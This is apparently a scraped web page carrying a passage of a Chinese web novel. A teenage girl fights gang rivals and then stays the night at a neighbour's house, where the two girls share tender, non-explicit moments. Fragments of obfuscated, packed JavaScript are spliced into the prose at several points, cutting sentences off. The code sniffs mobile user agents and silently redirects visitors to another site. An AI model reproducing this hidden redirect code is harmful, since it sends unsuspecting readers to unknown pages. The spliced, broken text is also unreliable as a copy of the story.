l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523281|203371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 范围在第九街区东边,靠仓库区那一带,我们在第六街区和第九街区交界这边。两边做的生意不一样,他们主要走运输和仓库,我们主要走……”他顿了顿,看了一眼陈漠,“我们主要走街面上的东西。两边没有利益冲突,也没有交情。” “但他今天动了我们的人。”丁哥说。 “对,”颂蓬把烟盒在手里转了一圈,“这才是关键。他动了我们的人,而且是在没有任何理由的情况下动的。周彦那小子说了,他们三个什么都没干,就是坐在角落里喝酒,安德烈斯主动找上门,拿种族歧视的话侮辱他们,动手打他们,还特意提到了陈漠的名字。” 他停顿了一下,目光转向陈漠。 “他知道你是红蚁的人。” “他知道,”陈漠说,“今天中午他在停车场说的最后一句话是Tell your gym teacher we said hello。他知道你是谁,也知道我在你手下训练。” 颂蓬听完这句话,烟盒往吧台上一搁,站起来,走到陈漠面前,盯着她看了一会儿。 “所以他动周彦,是为了引你过来。” “他动了周彦,是因为他想拿红蚁的人出气,又不敢直接来找我。”陈漠一字一顿地说,“他妹妹上个月被我打断了锁骨,他没胆子来找我算账,所以他找了三个最小的,最不会还手的,把气撒在他们身上。” “你刚才一个人进来的时候,怕不怕?” “不怕。” “你知道他有八个人。” “知道。” “你知道你一个人打八个,可能走不出去。” 陈漠想了一下说:“我知道你会来。” 颂蓬笑了,伸手在陈漠的肩膀上重重地拍了一下,力道大得能听见闷响。 “好。”他说。 他收回手,转向丁哥,脸上的笑意还没完全褪,但眼神已经变冷了。 “安德烈斯不占理,他动了三个没有还手能力的小孩,理由是因为红蚁的一个成员在正当防卫的情况下打了他妹妹。在我们这个圈子里,不管是他主动挑衅在先,还是他拿种族歧视的话侮辱人在先,还是他带八个成年人围殴三个孩子在后,他都不占理。他不占理,我们就可以找麻烦。” 颂蓬说“找麻烦”这个词的时候,语气跟说“买菜”一样平淡。 丁哥站直身体,一只手插在裤兜里,另一只手摸出一根新烟点上,吸了一口,烟雾从他的鼻孔里喷出来,在紫红色的灯光下缓缓升起。 “你想怎么找?” “不急,”颂蓬说,“先把今天晚上的账算清楚。三个孩子,一个骨折,两个皮肉伤,医疗费加上一个星期的误工费,他得赔。这是第一。第二,他必须当面道歉,对红蚁道歉,对周彦、小李和小胖道歉,当着他自己的人面道歉。第三,他得保证他的人以后不能找陈漠的麻烦,也不能找红蚁任何一个孩子的麻烦,尤其是学校里的那些。” 丁哥听完,想了想,“第三条他不会答应的,他妹妹咽不下这口气。” “那就让他咽,”颂蓬说,脸上的表情没有任何变化,“咽不下也要咽。否则他就别想在铜钉喝酒了,也别想在第九街区混了。卡车司机工会不会为了一个外围的汽修工跟红蚁翻脸,他自己清楚这一点。” 丁哥沉默了几秒,烟头扔在地上,鞋底碾灭,“你去谈?” “我带陈漠去,”颂蓬说,“让她看看,打架是最后一步,打架之前还有很多别的事要做。” 他转过身,走到陈漠面前,用两根手指点了点她的肩膀。 “你今天的账,等回去再跟你算。擅自行动,一个人冲进来打八个,你以为你是电影里那个打不倒的超级英雄吗?” “先回家,洗个澡,换身衣服,把你袖子上的血弄干净。周六下午四点,训练场见。” 陈漠点了头。 她转身往铁门的方向走了几步,路过吧台的时候,从口袋里摸出手机,点开屏幕。 屏幕亮了,有一条几分钟前发来的消息,她刚才在混战中没感觉到震动。 Isabella López:我家的门虚掩着。 Isabella López:我刚才这句话的意思其实是,不管多晚回来,敲我的窗。 9. 第 9 章 晚上九点半。 陈漠回了第六街区。 肾上腺素退下去之后,身体开始跟她算账了。 右手的指关节在发热,是刚才那一肘砸在颧骨上的反作用力,掌骨和绷带之间的位置一跳一跳地疼。左小腿胫骨外侧被什么东西刮了一道口子,不算深,血已经凝了,裤腿粘在皮肤上,每走一步都扯着疼。她没低头去看,这种伤她太熟了,明天早上就会结一层暗红色的痂,后天就会开始痒,大后天就只剩一道浅白的印子。 比起这个,她更在意的是外套上的血。袖子上的血迹,干成了铁锈色,在路灯下看着不明显,凑近了能闻到一股淡淡的铁腥味。周秀兰要是闻到了,问起来,她得想个说法。训练磕破的,沙袋磨的,对练的时候不小心碰到的,她常年备着七八个版本,每一个都用过,每一个都能让周秀兰叹一口气不再追问。 不过,现在她不想想这些。脚步在街角便利店门口慢了下来,因为她看到伊莎贝拉家的方向还亮着灯。 第六街区,这个时间点,大部分住户都已经关了门。丹妮丝家窗帘后面电视还在闪,蓝白色的光一跳一跳的。篮球场上早没了人,只剩一个瘪了气的篮球歪在球架底下。 快走到家门口的时候,陈漠停了一下。 她家的房子是暗的。门廊那盏坏掉的灯没修,周秀兰的纸条大概还压在茶几的玻璃杯底下,陈国栋还没下班。她掏钥匙的手在口袋里动了动,又抽了出来,转头看向隔壁。 伊莎贝拉家的白色栅栏门关着,门闩扣上了。 陈漠站在两家之间的车道上,盯着白漆栅栏门看了几秒。铁丝的网格大概到她腰际往上一点,防不住任何人,只是在这条街上画一道界限。她走过去,双手抓住门框上沿,脚在铁丝网的横撑上蹬了一下,翻了过去。落地的时候左腿的伤口被扯了一下,她皱了皱眉,没出声。 草坪刚修剪过,踩上去软软的。门廊的感应灯亮了一下,陈漠侧身绕开了它的感应范围。二楼伊莎贝拉房间的灯还亮着,淡紫色的光从百叶窗的缝隙里漏出来,在窗外的墙面上投下一道一道平行的光带。 陈漠弯下腰,在草坪边上摸了一块指甲盖大小的碎石子。颂蓬训练过她的投掷精度,她站起来,石子掂了掂,往窗户的方向掷了过去。 石子打在玻璃上,发出清脆的一声“嗒”。 过了大概五秒,百叶窗的叶片动了一下,一根纤长的手指从中间拨开一条缝。然后那条缝迅速合上了,紧接着窗户被从里面推开,伊莎贝拉探出头来,卷发散在肩膀上。 她看到站在草坪上的陈漠,嘴唇张开了一瞬,脸上浮现出一个表情,一半是松了口气,一半是重新提起了心。 “你翻进来的?”她压低声音问。 “门关了。”陈漠说。 “废话,我爸回来了。” 陈漠的表情僵了一瞬。 伊莎贝拉她爸?那个在东海岸每个月寄支票回来的男人?罗莎提过他后天或者大后天才能到,怎么提前了? 伊莎贝拉看出了陈漠脸上的变化,她歪了一下嘴角,露出一个“你才知道怕”的表情,往窗户旁边让了让身子,伸出拇指往窗户里面指了指,意思再明显不过。 上来。 陈漠看了她一眼,又低头看了看自己袖子上的血迹。她有一瞬间的犹豫,她现在一身的汗味、烟味、血腥味,指关节上缠着的绷带脏得不成样子,裤子膝盖的位置还蹭了一块不知道是油污还是泥的东西。 伊莎贝拉头探出窗外,声音压得更低了。 “你在等什么?等我爸醒了发现外面站了个人然后报警?” 陈漠走到墙根下面,抬头看了一眼。这种老房子的外墙是木板条重叠钉成的,每一层木板条之间有窄窄的接缝,勉强可以落脚。墙根处有一个齐腰高的铁皮垃圾桶,盖子盖得严实,她单手撑上去试了试,能承重。 她蹬上垃圾桶的盖子,左手抓住一楼窗户上方的装饰木条,右手够到二楼窗台的下沿,用手指找到了一个支点,一撑一翻,整个人像猫一样翻上了窗台。 伊莎贝拉往后让开,陈漠从窗台上跳下来,落在房间的地毯上。 房间和今天中午一模一样。台灯亮着,画架上的素描还是那只没画完的Biscuit,床上那只泰迪熊靠在枕头上,毛绒玩具在暖气片盖子上排成一排。不一样的是,床头柜上那几个花花绿绿的小盒子不见了。 伊莎贝拉的视线从她脸上的擦伤扫到她袖口干涸的血迹,再到她小腿上被刮破的裤子和裸露在外的一截覆着薄肌的小腿。她伸出左手,拈起陈漠的右手手腕。 陈漠的右手一僵。 伊莎贝拉翻过她的手背,看到指关节上的绷带渗着血,血迹已经干了,白色的绷带染成深褐色。她叹了口气,转身走到床头柜前,拉开最下面的抽屉。抽屉里有一个小急救箱,红色的塑料盒子,盖子上印着一个白十字。她把急救箱拿出来,打开盖子,从里面拿出酒精棉片和一卷新的绷带。 “把旧的拆了。” 陈漠低头开始拆右手的绷带,一圈一圈地松开。拆到最后一圈的时候,绷带被伤口渗出的组织液粘住了,她扯了一下。伊莎贝拉从她手里接过绷带,用拇指按住她手背上的皮肤,另一只手慢慢地把粘住的那一小段揭了下来。 伤口露出来了,是擦伤和撞击留下的血泡破了之后的创面,不算严重,但看起来吓人。伊莎贝拉用酒精棉片按压在创面上,清理掉边缘的血渍和污迹,动作慢得不像这个年纪的人能做到的。 陈漠坐在床沿上,低着头看伊莎贝拉给她包扎。酒精接触到破损的皮肤时有一瞬间的刺痛,随后变成一片清凉。 “安德烈斯的人打的?”伊莎贝拉问,低着头,手指在绷带上绕圈。 “不是,”陈漠说,“我打他们。” 伊莎贝拉的手指停了一下,抬起头看着她。几秒之后,她笑了,梨涡在台灯的暖光里浅浅地浮出来。 “你一个人打几个?” “三个。” “另外五个呢?” “颂蓬来了,他们就跑了。” 伊莎贝拉把绷带的尾端塞进夹层里,用拇指压平,松开陈漠的手。 “你右眼下面有块红的,”她伸出手,指尖在陈漠颧骨下方点了一下,“明天可能会青。” “我知道。”陈漠说。 伊莎贝拉又去检查她的左腿。陈漠把裤腿卷起来的时候,小腿胫骨外侧那道刮伤露了出来,大概三四厘米长,不深,周围的皮肤已经肿了起来。伊莎贝拉用另一片酒精棉片清理了伤口边缘,从急救箱里翻出一支消炎药膏,挤了一点在指尖上,抹在伤口上。 房间里安静了几秒。 “陈漠。”伊莎贝拉忽然开口。 “嗯。” “我知道你在给红蚁做事,”伊莎贝拉一边说,一边把药膏的盖子旋紧,酒精棉片的包装纸揉成团丢进床头柜旁边的小垃圾桶里,“我哥以前也在红蚁待过。他跟我说过,那条路走到最后只有两个结果,要么进去,要么死。” 她抬起头,在台灯的光里,深棕色的瞳仁格外认真,少了一些平时嬉闹时亮晶晶的光,多了一层说不清是担忧还是别的东西。 “我不想看到你出什么事。” 陈漠点了点头。 伊莎贝拉知道这个话题再往下说就重了。她合上急救箱,放回抽屉里,站起来拍了拍手,“好了,你今晚别回去了。” “你爸妈又不在家,回去一个人睡那个黑灯瞎火的房子干什么?我爸回来了,但是他吃了安眠药睡的,打雷都吵不醒他。我妈更不用说,她今天做了一下午的饭,累得倒床上就睡着了。”伊莎贝拉说着,走到床边,掀开被子一角,“你睡床,我睡地板。” “不可能。”陈漠说。 “那就一起睡床。” 陈漠的耳朵又开始红了。 伊莎贝拉看着她那个样子,忍不住笑了一声,声音不大。笑完,她收敛了笑意,表情变得认真了一些,“我不是在试探你。你今天累了一天,打架,流血,跑了一整条街区,我现在放你翻窗户回去,我今晚会睡不着的。” 她走到窗户边,合紧百叶窗,推拉窗拉下来锁好,转身走到房门口,打开房门。 “你先去洗个澡,”她说,“我家浴室在走廊左手边第二间,毛巾在洗手台下面的柜子里,最左边那一叠是新的。沐浴露在架子上,别弄出声响。” 陈漠站在床边,看着她。 伊莎贝拉靠在门板上,双臂交叉,歪着头,脸上的表情是一副不容商量的样子。 “Go。” 陈漠“……” 拒绝的话在喉咙里转了一圈,到底没说出来。她发现自己对伊莎贝拉这种“我说了算”的语气没有任何抵抗力。 她垂下眼睛,脱下外套,叠了一下搭在床尾。 伊莎贝拉满意地点了一下头,探头往走廊里看了一眼。走廊是暗的,只有罗莎房间的门缝底下透出一线暖黄色的光。 她冲陈漠招了招手。 陈漠跟着她穿过走廊,脚步放得比在街头盯梢时还轻。走廊的地毯吸掉了大部分足音,但老房子的木地板还是在某些位置发出吱呀声,每响一下伊莎贝拉就回头瞪她一眼,表情像是被踩了尾巴的猫。陈漠面无表情地回看她,眼神里写着一行字:你家地板响,怪我? 浴室在走廊左手边第二间,比陈漠家那个逼仄的隔间大了一半不止。地上铺着米色的防滑地砖,墙上贴着小块的白瓷砖,浴缸是带四只爪脚的铸铁浴缸,浴帘上印着淡蓝色的热带鱼图案。洗手台上方的镜子干干净净,映出来的人比她家那个碎过没再买的折叠镜清楚多了。 伊莎贝拉从洗手台下面的柜子里拿出一叠新毛巾,最上面那条是淡粉色的,放在马桶盖子上。又打开镜柜,取出一支还没拆封的牙刷,连同旁边的小牙膏一起放在杯托上,再从架子上拿下一瓶沐浴露,搁在浴缸边上,指着水龙头说左边是热水右边是冷水,别开反了,水压不太稳,冲的时候如果忽然变烫就往后站一步。 她说完这些,站在浴室门口,双手叉着腰,“还有问题吗?” “没有。”陈漠说。 “洗完了别动,我去给你拿衣服。你这身外套上面全是血和酒味,明天我帮你丢洗衣机。” 陈漠低头看了一眼自己的裤子,膝盖上蹭的那块油污在灯光下泛着黑亮的光。她还没来得及说什么,伊莎贝拉已经把门带上了。 门合上之前,从门缝里飘进来一句话。 “你身上那些伤别使劲搓,药膏白涂了。” 门关严了。 陈漠站在浴室里,看着镜子里的人。镜子里的女孩头发散了一半,马尾歪歪斜斜地挂在脑袋一侧,右眼下面果然红了一块,明天大概会变成青紫色。袖子上的血迹干成了铁锈色,指关节上新缠的绷带和旧绷带的痕迹叠在一起。她对着镜子把发圈扯下来,头发散了满肩,发梢上沾着铜钉酒吧的烟味和汗味。 她深吸了一口气,开始脱衣服。 动作很慢。左腿的伤口在卷起裤腿的时候又扯了一下,她皱着眉把裤子褪下去,解开Polo衫的扣子。锁骨下方的皮肤上有一块拳头大的淤青,是铜钉酒吧里第一次被人用桌腿扫到的,当时肾上腺素飙着没感觉,现在开始泛出来了。 热水器轰隆隆地响了几秒,花洒里喷出的水温不太稳,一会儿凉一会儿烫,她往后站了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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门外安静了几秒,伊莎贝拉往走廊那头的方向走远了。陈漠深吸一口气,拉开浴帘,光脚踩在地砖上。 陈漠走到门边,门把手拧开一条缝。走廊里空荡荡的,门口的地板上放着一叠叠得整整齐齐的家居服,米色的走廊灯光照在上面,看得很清楚。上面是一件白色的棉质T恤,下面是一条浅灰色的棉质长裤,布料柔软,折痕笔直。衣服旁边还放着一双没拆封的棉袜,深灰色的。 她伸出还在滴水的胳膊,弯下腰把那一叠衣服捞起来。 关门,锁门。连锁了两道,金属锁舌咔嗒一声弹进锁槽,又拧了一道保险钮。 她对着门板站了两秒,低头看了看手里那叠衣服,又看了看门上已经拧了两道的锁。 她这是在干嘛? 这是别人家,别人的浴室,别人的衣服。她锁门锁得跟防贼一样。她能想象伊莎贝拉要是看到这一幕会露出什么表情,八成会歪着头靠在门框上,说一句“你以为我会推门进去吗”。 衣服放在马桶盖子上,用毛巾把头发擦到不滴水的状态,擦到身体的时候,她格外小心地避开了手臂和小腿上的伤口,药膏被热水冲掉了一些,残留的部分在皮肤上形成一层薄薄的保护膜。 然后她展开那件白T恤。 尺寸确实差不多。伊莎贝拉她哥也是个瘦高个,肩宽和她相近,衣长刚好能盖到她的髋骨。她把T恤套上,柔软的棉布贴在刚洗完热水澡的皮肤上,触感舒服得不像话。她又拿起那条浅灰色的棉质长裤,裤腰是松紧带的,穿上之后发现裤腿比她预想的短了一小截,刚好露出脚踝。 最后是那双棉袜。全新的,还没拆封,标签上印着一行字“男款L码”。她拆开包装,弯腰套上袜子的时候,肋骨侧面的淤青被牵动了一下,她嘶了一声,继续拉好袜子。 她直起身,把换下来的脏衣服按内衣裹在最里面,Polo衫包在最外面的顺序卷成一团,抱在手里,对着镜子看了一眼。 镜子里的女孩穿着白色棉T恤,浅灰色棉质长裤,领口有点大,露出锁骨下方一小片皮肤和那片刚浮现出来的青黄色淤青。头发湿漉漉地披在肩上,脸上的表情是那种不确定自己在干什么的表情,和平时打架时面沉如水的样子判若两人。 洗漱完毕。 关了浴室的灯,陈漠抱着脏衣服打开了门。 走廊里是暗的,她穿着拖鞋踩在地上,脚步比刚才来的时候更轻。 才走了几步,前面一扇门从里面打开了。 伊莎贝拉的房间。 门开得不大,只够伊莎贝拉侧着身子探出半个脑袋。她看到陈漠站在走廊里,上下打量了一眼,勾了勾唇,眼睛在走廊昏暗的光线里亮晶晶的。 “我就说合身吧。” “裤腿短了一点。”陈漠说。 “那是因为你腿太长,”伊莎贝拉把门拉开了一些,往走廊里迈了一步,目光落在陈漠怀里那团脏衣服上,“给我,我拿去洗衣房,明天早上洗。” “我自己洗。” “你知道我家的洗衣机在哪儿吗?” 陈漠确实不知道。她连伊莎贝拉家的客厅和房间都还没完全摸熟。 伊莎贝拉从她手里把衣服团拿过去,动作自然得好像这是一个做过一万次的流程,“洗衣房在厨房后面的储藏间旁边,洗衣机是老款的,洗的时候要先把水龙头打开,洗完再关上,否则水会一直流。你不会操作的,我明天帮你洗。” 说完,她侧过身,往罗莎的房间方向看了一眼,确认那边的门没有动静,然后朝自己房间的方向偏了偏头。 “进来。” 10. 第 10 章 陈漠走进房间的时候,伊莎贝拉已经站在床头柜旁边等着了,手里拿着一个吹风机,深蓝色的,线绕在机身上缠了好几圈,插头在她另一只手里晃来晃去。 她看到陈漠进来,先是上下打量了一眼,目光在白T恤上停了一秒,又在她露出的一截脚踝上停了一秒,嘴角弯起来,露出标志性的梨涡。 “我哥的衣服穿在你身上比穿在他身上好看多了,他肩膀没你宽,撑不起来。” 陈漠站在门口,一只手抱在胸前,另一只手垂在身侧,背微微弓着。她说了一句“还行”,声音比平时低半度,目光在房间里游移了一下,在找一个可以落脚的角落。 她没穿内衣。 从浴室出来到现在,这个事实一直在她的脑子里刷存在感。在她自己家里,洗完澡换睡衣,她永远是把内衣穿好了再出来,哪怕是在半夜,哪怕走廊里一个人都没有。周秀兰从小就教她,女孩子要端端正正的,不能邋遢,不能随便,衣服穿齐整了才能出自己的房门。她十六年来从没破过这个规矩,不管多累,多晚,内衣的扣子一定要扣上。 可现在她站在伊莎贝拉的房间里,身上只有一件白T恤和一条棉质长裤,T恤的布料又薄又软,贴在皮肤上的时候几乎没有什么阻隔感。 她觉得自己像是被扒了一层壳。 所以她抱着手臂,前臂横在胸前,刚好压住那片让她不自在的区域。这个动作让她整个人看起来比平时矮了一截,肩膀往前收着,后背弓起。 伊莎贝拉注意到了。 陈漠的站姿不对,抱着胳膊的姿势太刻意。这不正常,伊莎贝拉认识陈漠七年,从来没见她缩过。陈漠在走廊里走路的时候肩膀是打开的,下巴是微微抬着的,双手往口袋里一插,一个人能占两个人的道。 她叫陈漠过来吹头发,陈漠走过来的时候步子迈得比平时小,坐下的时候也是先侧着身子坐到床沿最边上,才慢慢转过来,整个过程手臂始终保持着那个姿势。 伊莎贝拉低头插吹风机插头的时候,已经把事情猜了大概。她站起来,吹风机的开关推到最低档,热风嗡嗡地响起来,她弯下腰,偏着头从侧面看着陈漠的脸。 “你是不是没穿内衣?” “我……”陈漠张了张嘴,过了两秒才挤出来,“洗澡换了衣服,忘带了。” 这个谎撒得太拙劣了。拙劣到伊莎贝拉没忍住,噗地笑出声来。她关了吹风机,往陈漠的方向弯下腰,直视着陈漠躲躲闪闪的眼睛。 “忘带了?”她的语调往上扬起来,“你的意思是,你洗完澡本来打算穿的,结果忘了,然后就这样出来了?” 陈漠:“……” 吹风机搁在床头柜上,伊莎贝拉直起身,双手叉着腰,歪着头看陈漠。她心里想的是,这个能把两百斤的壮汉揍趴下的女孩子,因为不穿内衣而局促成这样,这个世界还真是有意思。 她伸手指了指自己胸口,动作坦荡,“我也没穿。” 陈漠的目光条件反射性地往她指的方向偏了半寸,然后以更快的速度弹开。 伊莎贝拉看着她的反应,嘴角的梨涡越来越深,伸手拂了一下自己肩上的卷发,用极平常的语气说了一句:“你真应该看看你现在的表情。” “睡觉不穿内衣很正常的,陈漠。这是在家里,不是在教堂做礼拜。晚上不穿对血液循环好,乳腺不受到压迫,睡得更舒服。你平时在家睡觉还穿着?”接着又补充道,“再说了,这是穿衣自由的范畴。” 陈漠没接话,继续保持着同一个姿势。 伊莎贝拉叹了口气,觉得自己像是在哄一只炸了毛的流浪猫,这只猫还不习惯被人碰。 “好了,我不说了。”她伸手把陈漠抱着的胳膊往下拨了拨,“你放松点,这是在我家,没人会看见。再说了,你以为我没看过吗,学校更衣室里什么没见过。” “过来,”伊莎贝拉重新拿起吹风机,床沿上坐下,往后挪了挪坐好,拍了拍自己面前的床垫,“坐这儿,背对我。再不吹干你明天会头疼的,真的。” 陈漠犹豫了一下,最终还是老老实实地坐了过去,背对着伊莎贝拉,两条腿盘起来,脚踝交叠,她在床垫上调整了一下坐姿,让自己坐得更稳一些。 伊莎贝拉跪坐起来,吹风机重新嗡嗡地响了,热风先吹到陈漠的后脑勺上。她用手指插进陈漠湿漉漉的黑发里,从发根到发尾慢慢地梳理。 陈漠的头发又黑又厚,湿的时候贴在头皮上,吹风机一吹就开始蓬起来。 “你头发真好,”伊莎贝拉说,手指从发缝中间穿过,撩起来一缕头发,让热风吹到下面的头皮,“又厚又滑。你平时用什么牌子的洗发水?” “什么?”陈漠没听清。 “洗发水!”伊莎贝拉提高音量,“算了这个不重要。” 她把陈漠后脑勺的头发全吹干了,每一缕都从发根吹到发尾,吹到手指插进去摸不到任何潮意为止。做完这些,她关了吹风机,拍了拍陈漠的肩膀。 “转过来。” 陈漠转过身来,从背对变成了面对伊莎贝拉,头发被吹得蓬蓬的,发丝在灯光下泛着一层深棕色的光泽,几缕碎发贴在太阳穴上。她的表情比刚才放松了一些,大概是觉得两人私密相处到这种地步已经没必要再纠结了。 不过很快她发现了一个问题。 伊莎贝拉说转过来的时候,她转过来。伊莎贝拉重新打开吹风机,让她低下头,她低下头。这个动作本来没什么问题,吹前面的头发当然要低头。但她低头的角度,和她视线自然垂落的方向,刚好正对着伊莎贝拉的胸口。 伊莎贝拉也是一件白T恤,领口更松,布料更软,而且没穿内衣。 这个事实在陈漠低下头的下一秒以极其具象的方式砸进了她的视网膜。她看到了那片蜜棕色的皮肤,看到了锁骨的线条往下延伸的地方,看到了那根细细的金色十字架项链垂在锁骨下方,链坠刚好落在某个起伏的弧线顶端。 她的呼吸卡顿了零点几秒。 她猛地闭上了眼睛。 这个反应太快了,快得像是有人在她眼前点了一簇火花,她条件反射性地眨眼躲避。闭眼之后她发现更糟糕。因为视觉消失之后,其他感官被放大了。她能感觉到伊莎贝拉的膝盖顶着她的膝盖,能闻到伊莎贝拉身上花香味的沐浴露和自己身上一模一样,能听到吹风机的嗡嗡声中夹杂着伊莎贝拉的呼吸声。 伊莎贝拉的手指还插在她的头发里,撩起她前额的一缕刘海,热风从发根吹到发梢。 “你头发真的很多,”伊莎贝拉的声音从头顶上传下来,被吹风机的嗡嗡声裹着,“我吹半天了里面还是湿的。你平时自己吹头发是不是从来不吹干就直接睡觉?” 陈漠嗯了一声,闭着眼睛不敢睁开。 伊莎贝拉低头看了她一眼,发现她闭着眼睛,睫毛在微微颤抖,鼻尖上有一层薄薄的汗,嘴唇抿得很紧。 伊莎贝拉关了吹风机:“你怎么闭着眼睛?” “热风熏的。”陈漠说,声音干涩。 伊莎贝拉歪着头看了她几秒。视线从低头的角度开始往上移,从陈漠闭着的眼睛移到脖子,又从脖子往下移,她终于反应过来陈漠看到了什么,脸颊浮起一层浅红,不过脸红来得快去得也快,转眼间,只剩一个又好笑又无奈的摇头。 重新打开吹风机,手指继续拨弄陈漠的刘海,用热风把发根最后一点潮湿吹干,在吹风机的轰鸣声里,她嘟囔了一句西班牙语,“Ay,Dios mío。” 上帝啊。 吹风机的声音戛然而止。 伊莎贝拉拔下插座上的插头,绕了两圈,吹风机搁回床头柜上,偏头看了一眼床头的闹钟,说了句“十一点多了,你平时这个点也该睡了吧。”陈漠应了一声,伊莎贝拉便站起来,绕到床的另一侧,掀开被子一角,自己先钻了进去,拍了拍身边的空位。 陈漠站起来,走到床的另一侧。她的动作比伊莎贝拉慢了好几拍,先把被子掀开一个角,侧着身子坐下去,再慢慢地把两条腿抬上来。被子是薄羽绒的,被套是白底碎花的棉布,和陈漠自己床上化纤被子完全不同。 陈漠刚躺下去,伊莎贝拉就伸手指了指天花板上的顶灯,让她关灯。陈漠探出身子,手指在床头摸索了一会儿,找到了开关,啪嗒一声把灯关了。黑暗一下子涌进来,只有窗外那盏坏掉的街灯把明灭不定的光透过百叶窗的缝隙投在天花板上,和在她自己房间里看到的是一模一样的光。枕头上有伊莎贝拉身上的花香,被子也是同样的味道,她仰面躺着,双手交叠放在腹部。 伊莎贝拉侧过身,单手枕在脑袋下面,看着黑暗里陈漠模糊的轮廓。沉默了几秒,幽幽地开了口。 “Abuelita。” “什么意思?” “西班牙语,小奶奶,你睡觉的姿势跟教堂里那些穿着黑裙子去做弥撒的老奶奶一模一样。” “你换不换?” “不换。” “你确定?” “确定。” 伊莎贝拉翻了个身,往上拉了拉被子,裹住肩膀,忽然又翻回来,“我想给你看个东西。” 她翻身从床头柜上拿过手机,屏幕亮起来的时候,陈漠眯了一下眼睛。伊莎贝拉的拇指在屏幕上滑动了几下,然后把手机递到陈漠面前。屏幕上的照片很旧,色调发黄,像素也不高,一个女孩的侧影,短头发,穿一件非常宽大的球衣,宽松到几乎看不出身体曲线。两只手插在口袋里,下巴微微上扬,正站在一栋房子的门廊上看着远处。背景那排房子的样式和陈漠家那条街一模一样。 “这是我,八年级的时候。” 陈漠把手机拿近了一点,她仔细看了一会儿说:“你那时候是短发。” “酷吗?” “……还行。” “还行?”伊莎贝拉夸张地倒吸一口气,用另一只手捂住胸口,做出一个被冒犯的表情,“我当时可是觉得我帅得不行。那件球衣是我爸寄给我的,迈阿密热火的,他去看比赛的时候买的,大得能装下两个我。我穿了整整一个夏天,打球穿,睡觉穿,去超市也穿,我妈说我穿得像个小流氓。” 她接过手机,手指在屏幕上又划了几张,停在一张照片上,“这张。” 这张更清楚一些。八年级的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523283|203371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伊莎贝拉骑在一辆蓝色的自行车上,一只脚踩着踏板,另一只脚撑在地上,怀里抱着足球。她的短发被风吹得竖起来,脸上的笑容大得晃眼,露出一排还没完全长整齐的牙,牙齿上还戴着牙套,金属托槽在阳光下反着光。 陈漠看到牙套的时候,嘴角动了一下。 伊莎贝拉立刻把手机收了回去,“你是不是笑了。” “没有。” “你嘴角动了,我看到它动了!” “你戴牙套。”陈漠说。 “谁八年级没戴过牙套?你八年级不戴牙套?” “我不用戴。” 伊莎贝拉语塞,“我十二岁的时候喝牛奶喝太多,把门牙喝歪了,”她用手指点了点自己现在整整齐齐的牙,“带了两年才矫正过来。你知道一个拉美裔戴着牙套在第六街区的学校是什么体验吗?每次张嘴笑都有人叫我brace face,铁牙套脸。” 陈漠侧过头来看她,在黑暗里,生人勿近的气场又被稀释了几分,“你还会在意别人怎么说你?” 伊莎贝拉侧躺着,卷发散在枕头上,白T恤的领口歪到一边,锁骨下方那片皮肤在月光下泛着柔和的蜜棕色。她的表情介于严肃和不严肃之间。 “当然在意。因为这个街区就是这样,你露出软的地方,就有人来戳。你笑得太大声,就有人嫌你吵。你想做点自己想做的事,就有人说你不正常。你也是从来不怎么说话。然后别人就觉得你不好惹,觉得你什么也不在乎,所以不敢轻易找你麻烦。” “我以为你不在乎别人怎么看。” 伊莎贝拉按灭手机屏幕,放到床头柜上,翻了个身平躺着,在黑暗里笑了一声,笑声很轻,带着点自嘲的意味。 “我表现得很明显吗?” “嗯。” “其实在乎的,”伊莎贝拉说,声音比刚才低了一些,“一直在乎。只不过我觉得,如果我在乎的样子被别人看到了,那我在乎的东西就会变成别人攻击我的武器。所以我装成不在乎。” 沉默了几秒。 “其实我们都知道,在这个街区,做自己想做的事,喜欢自己想喜欢的人,不是一件容易的事。别人会用很多词来形容你,不正常,变态,恶心,更难听的。我听过很多,都听习惯了。我大概猜到你是什么样的人,因为你跟我很像。” 陈漠侧过头,看着伊莎贝拉的侧脸。月光从百叶窗的缝隙里漏进来,在她的鼻梁和颧骨上投下淡淡的阴影。 像吗,陈漠在心里重复了一遍这个词,在自己的脑子里过了一遍她所认识的自己。 她不觉得自己和伊莎贝拉像。 伊莎贝拉敢穿迈阿密热火的球衣骑自行车满街跑,敢戴牙套的时候张嘴大笑,敢在床头柜上摆指套,敢对她说“我喜欢你”,敢把这些年藏着的每一层壳都剥开摊在她面前,坦坦荡荡,毫无保留,像是在说“这就是我,你看清楚了,要跑就跑,要留就留”。 可她做不到。她连在伊莎贝拉面前承认自己没穿内衣都不敢,连伊莎贝拉说“你跟我一样”的时候都不知道该怎么回应。她活了十六年,学会的唯一一件事情就是把自己裹紧,裹到谁也看不到里面的东西。最里面的东西是什么,她自己都不太确定。 伊莎贝拉伸手过来,在被子下面摸索了一下,碰到的陈漠的手背,先是轻轻搭在那里,然后不轻不重地按了一下。 “我还没说完,不过你先把眼睛闭上。” 陈漠闭上了眼睛。 “你这个人,让人想跟你说话,哪怕你什么都不说,就坐在那里听,也让人觉得安心。你有让人想靠近的能力。” 